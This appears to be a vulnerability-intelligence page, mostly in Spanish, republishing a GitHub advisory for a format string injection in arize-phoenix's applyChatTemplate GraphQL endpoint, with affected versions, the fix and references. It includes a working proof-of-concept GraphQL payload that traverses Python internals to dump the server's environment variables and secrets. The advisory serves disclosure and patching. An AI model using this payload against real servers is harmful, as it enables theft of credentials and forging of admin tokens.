llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · arize-phoenix

GHSA-GFV3-M769-5XM3

Phoenix: Format String Injection in applyChatTemplate

Parche disponible
Descargar PNG JSON
CVSS
—
critical
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión15.7.0
Exposición2 dDesde la divulgación, 17 nov 2026, 3:02 p. m.
Detección53 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada +1
03:02 p. m.
12:50 a. m.
03:02 p. m.
05:29 a. m.
07:56 p. m.
10:23 a. m.
12:50 a. m.
FechaFaseEventoDetalle
Divulgación Publicada GHSA-GFV3-M769-5XM3 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
  • Summary

A format string injection vulnerability in the applyChatTemplate GraphQL endpoint allows an attacker to read server-side environment variables, cryptographic secrets, and internal module attributes directly from the API response. On default Phoenix installations where authentication is disabled the endpoint is reachable with no credentials. On auth-enabled deployments, any account regardless of privilege level is sufficient to exploit it.

- Impact
Server filesystem paths, loaded Python module names, and internal configuration constants are fully disclosed, an attacker with network access can read the full server `os.environ` including the admin credentials hardcoded in `phoenix.auth`.

Successful exploitation allows an attacker to extract PHOENIX_SECRET, the master key used to sign all JWTs and derive the Fernet encryption key protecting stored credentials (LLM API keys, OAuth tokens). With this key, an attacker can forge admin-level session tokens and decrypt all secrets stored in the database.

  • Affected Versions

First vulnerable release: arize-phoenix-v13.0.0 (2026-02-13)
Latest confirmed vulnerable release: arize-phoenix-v14.8.0 (2026-04-17)

- Affected Component
`applyChatTemplate` GraphQL query endpoint (`src/phoenix/server/api/queries.py:1638`)
`FStringTemplateFormatter._format()` template rendering function (`src/phoenix/utilities/template_formatters.py:272`)
`DotDict.__getattr__()` ineffective attribute access control (`src/phoenix/utilities/template_formatters.py:90`)

- Proof of Concept
payload as txt with an image performing the exploit below.
<img width="1574" height="766" alt="PoC-Phoenix" src="https://github.com/user-attachments/assets/55f56325-4c26-4c96-8aa9-89e44ff1ba53" />
- Payload:

{
  "query": "query($t: PromptChatTemplateInput!, $o: PromptTemplateOptions!) { applyChatTemplate(template: $t, templateOptions: $o) { messages { content { ... on TextContentPart { text { text } } } } } }",
  "variables": {
    "t": { "messages": [{ "role": "USER", "content": [{ "text": { "text": "{u.__class__.__bases__[0].__init__.__globals__[_os].environ}" } }] }] },
    "o": { "format": "F_STRING", "variables": { "u": { "x": 1 } } }
  }
}
  • Suggested Fix

Three mitigations are recommended in combination: restrict attribute traversal at the Formatter.get_field() level (not the wrapper class), add IsAuthenticated permission to the applyChatTemplate resolver, and limit F_STRING format to trusted system-defined templates only.

Best Regards,
Omar

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
arize-phoenix≥ 13.0.0 < 15.7.0
13.0.0
15.7.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
PyPIarize-phoenix
Corregida 15.7.0 — —
Versiones corregidas15.7.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-53998
Otrahttps://github.com/Arize-ai/phoenix/security/advisories/GHSA-gfv3-m769-5xm3
Otrahttps://github.com/Arize-ai/phoenix/pull/13197
Otrahttps://github.com/Arize-ai/phoenix/commit/e7224a685589f2ffae1fefcc68ff210bd6ad28b8
Otrahttps://github.com/Arize-ai/phoenix
Otrahttps://github.com/Arize-ai/phoenix/releases/tag/arize-phoenix-v15.7.0

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.